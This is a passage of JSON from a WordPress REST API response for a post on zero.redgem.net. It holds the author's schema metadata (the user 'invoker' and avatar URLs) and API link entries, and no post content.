redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/22723","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=22723"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/22723\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=22723"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=22723"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=22723"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}